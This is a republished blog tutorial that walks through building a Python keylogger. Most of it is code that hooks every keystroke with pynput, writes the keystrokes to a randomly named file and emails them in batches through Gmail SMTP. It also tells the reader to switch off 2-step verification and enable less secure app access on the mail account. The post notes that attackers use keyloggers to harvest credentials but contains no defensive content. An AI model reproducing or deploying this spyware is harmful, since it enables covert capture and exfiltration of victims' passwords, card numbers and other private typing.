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October 25, 2021 12:28 am GMT
Original Link: https://dev.to/arinzejustinng/how-i-build-python-keylogger-i8k
How I build python keylogger
A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a keylogger in Python.
You are maybe wondering, why a keylogger is useful ? Well, when a hacker uses this for unethical purposes, he/she will gather information of everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.).
First, we gonna need to install a module called pynput, go to the terminal or the command prompt and write:
pip3 install pynput
This module allows you to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more.
Let us start by import the necessary modules:
import logging #for logging to a file import smtplib #for sending email using SMTP protocol (gmail) from pynput.keyboard import Key, Listener #for keylogs from random import randint #for generating random file nameIf you are to report key logs via email, then you should set up a Gmail account and make sure that:
- Less secure app access is ON.
- 2-Step Verification is OFF.
Generate the logging file:
output = '3ke' + str(randint(0, 10000)) + '.txt'log_dir = ""logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')Setup email that receives the keystrokes
email = '[email protected]'password = 'password'server = smtplib.SMTP_SSL('smtp.gmail.com', 465)server.login(email, password)full_log = ""word = ""email_char_limit = 60 #set how many charcters to store before sending The code that append the key that is press and save :
def on_press(key, false=None): global word global full_log global email global email_char_limit logging.info(str(key)) if key == Key.space or key == Key.enter: word += ' ' full_log += word word = '' if len(full_log) >= email_char_limit: send_log() full_log = '' elif key == Key.shift_l or key == Key.shift_r: return elif key == Key.backspace: word = word[:-1] else: char = f'{key}' char = char[1:-1] word += char if key == Key.esc: return false The code that sends the append keys that is press :
def send_log(): server.sendmail( email, email, full_log )with Listener(on_press=on_press) as listener: listener.join()My first coding using python
Original Link: https://dev.to/arinzejustinng/how-i-build-python-keylogger-i8k
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